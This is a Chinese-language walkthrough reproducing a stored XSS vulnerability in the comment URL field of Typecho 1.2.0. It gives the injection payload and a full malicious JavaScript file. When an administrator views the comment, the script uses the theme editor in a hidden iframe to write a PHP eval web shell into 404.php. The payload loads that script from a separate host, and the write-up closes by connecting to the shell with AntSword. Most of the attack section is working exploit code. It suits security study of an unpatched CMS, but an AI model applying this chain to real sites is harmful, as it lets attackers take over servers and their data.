目录
漏洞描述
Typecho 的github项目仓库留言处有人爆出评论功能的网址填空出现储存型xss漏洞,不少人已经被攻击,目前 Typecho 暂未发布修复该漏洞的教程,但是 Typecho 的 Github 仓库的最新代码已修复该漏洞,并预发布了 Typecho 1.2.1-rc 版本。
环境搭建
首先去GitHub 下载 源码
https://github.com/typecho/typecho/releases/tag/v1.2.0
选择php7以上的环境进行搭建即可
漏洞复现
点击右上角网站
先正常提交一次评论
然后尝试闭合并且构造xss的攻击代码
https://www.baidu.com/"/><seript>alert(1)</seript><
发现并没有对xss的代码进行过滤,每次刷新都有这个xss弹窗出现
登录后台
后台处理评论的时候,发现弹窗存在
后台既然可以触发,可以尝试构造恶意的js,对web的页面进行修改
构造恶意的 JS
把下面的脚本写入一个文本,重命名为 exp.js,放在小皮(phpstudy)的根目录
function step1(){
var data2="<iframe id=\"testxss\" src=\"/typecho/admin/theme-editor.php?theme=default&file=404.php\" width=\"0%\" height=\"0%\" onload=\"poc()\"></iframe>";
var oldata=document.body.innerHTML;
document.body.innerHTML=(oldata+data2);}
var times=0;
var g_shell=0;
function poc(){
if(times<=10){
var htmldata=document.getElementById('testxss').contentWindow.document.getElementById('content');
var btn=document.getElementById('testxss').contentWindow.document.getElementsByTagName('button');
htmldata.innerText=('<?php eval($_POST[\'cmd\']);');
btn[1].click();
//攻击完毕
times+=1;
if(g_shell==1){
var xhr1=new XMLHttpRequest();
xhr1.open('get','/usr/themes/default/404.php?cmd=1');
xhr1.send();
}
else{
return 0;
}
}
}
step1();
payload:
https://www.baidu.com/"/><script/src=//127.0.0.1/exp.js></script><div/"
去后台触发一下
再去看看404.php
发现写入成功
蚁剑连接
连接成功,至此站点成功拿下